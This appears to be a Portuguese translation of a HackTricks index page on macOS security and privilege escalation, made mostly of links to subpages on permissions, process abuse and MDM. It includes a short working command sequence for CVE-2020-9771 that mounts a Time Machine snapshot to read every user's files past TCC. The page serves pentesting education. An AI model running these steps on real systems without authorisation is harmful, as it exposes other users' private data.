hacktricks/macos-hardening/macos-security-and-privilege-escalation
2023-06-17 14:40:12 +00:00
..
mac-os-architecture Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:40:12 +00:00
macos-apps-inspecting-debugging-and-fuzzing Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-13 00:34:54 +00:00
macos-files-folders-and-binaries Translated ['generic-methodologies-and-resources/pentesting-network/eigr 2023-06-14 17:47:32 +00:00
macos-mdm Translated ['1911-pentesting-fox.md', 'README.md', 'ctf-write-ups/try-ha 2023-06-07 04:37:24 +00:00
macos-proces-abuse Translated ['backdoors/salseo.md', 'generic-methodologies-and-resources/ 2023-06-14 11:54:08 +00:00
macos-security-protections Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:40:12 +00:00
macos-applefs.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
macos-basic-objective-c.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
macos-bypassing-firewalls.md Translated ['backdoors/salseo.md', 'generic-methodologies-and-resources/ 2023-06-14 01:26:44 +00:00
macos-defensive-apps.md Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:40:12 +00:00
macos-dyld-hijacking-and-dyld_insert_libraries.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
macos-file-extension-apps.md Translated ['macos-hardening/macos-security-and-privilege-escalation/REA 2023-06-10 11:14:53 +00:00
macos-protocols.md Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:40:12 +00:00
macos-red-teaming.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
macos-users.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
README.md Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:40:12 +00:00

Segurança e Escalada de Privilégios no macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais de bugs web3

🔔 Receba notificações sobre novos programas de recompensas por bugs

💬 Participe de discussões na comunidade

MacOS Básico

Se você não está familiarizado com o macOS, você deve começar aprendendo os conceitos básicos do macOS:

  • Arquivos e permissões especiais do macOS:

{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}

  • Usuários comuns do macOS

{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}

  • AppleFS

{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}

  • A arquitetura do kernel

{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}

  • Serviços e protocolos de rede comuns do macOS

{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}

MacOS MDM

Em empresas, os sistemas macOS são altamente prováveis de serem gerenciados com um MDM. Portanto, do ponto de vista de um atacante, é interessante saber como isso funciona:

{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}

MacOS - Inspeção, Depuração e Fuzzing

{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}

Proteções de Segurança do MacOS

{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}

Superfície de Ataque

Permissões de Arquivo

Se um processo em execução como root escreve um arquivo que pode ser controlado por um usuário, o usuário pode abusar disso para escalar privilégios.
Isso pode ocorrer nas seguintes situações:

  • O arquivo usado já foi criado por um usuário (propriedade do usuário)
  • O arquivo usado é gravável pelo usuário por causa de um grupo
  • O arquivo usado está dentro de um diretório de propriedade do usuário (o usuário pode criar o arquivo)
  • O arquivo usado está dentro de um diretório de propriedade do root, mas o usuário tem acesso de gravação sobre ele por causa de um grupo (o usuário pode criar o arquivo)

Ser capaz de criar um arquivo que será usado pelo root, permite que um usuário aproveite seu conteúdo ou até mesmo crie symlinks/hardlinks para apontá-lo para outro lugar.

Para esse tipo de vulnerabilidade, não se esqueça de verificar os instaladores .pkg vulneráveis:

{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}

Abuso de Privilégios e Entitlements via Abuso de Processo

Se um processo pode injetar código em outro processo com melhores privilégios ou entitlements ou contatá-lo para realizar ações de privilégios, ele pode escalar privilégios e contornar medidas defensivas como Sandbox ou TCC.

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Manipuladores de aplicativos de esquema de URL e extensão de arquivo

Aplicativos estranhos registrados por extensões de arquivo podem ser abusados e diferentes aplicativos podem ser registrados para abrir protocolos específicos.

{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}

Escalada de Privilégios do MacOS

CVE-2020-9771 - Bypass do TCC mount_apfs e escalada de privilégios

Qualquer usuário (mesmo não privilegiado) pode criar e montar um snapshot do time machine e acessar TODOS os arquivos desse snapshot.
O único privilégio necessário é para o aplicativo usado (como o Terminal) ter Acesso Total ao Disco (FDA) (kTCCServiceSystemPolicyAllfiles), que precisa ser concedido por um administrador.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

Uma explicação mais detalhada pode ser encontrada no relatório original.

Informações Sensíveis

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

Linux Privesc

Em primeiro lugar, observe que a maioria dos truques de escalonamento de privilégios que afetam o Linux/Unix também afetarão as máquinas MacOS. Então veja:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

Aplicativos Defensivos do MacOS

Referências

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais de bugs web3

🔔 Receba notificações sobre novas recompensas por bugs

💬 Participe de discussões na comunidade

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥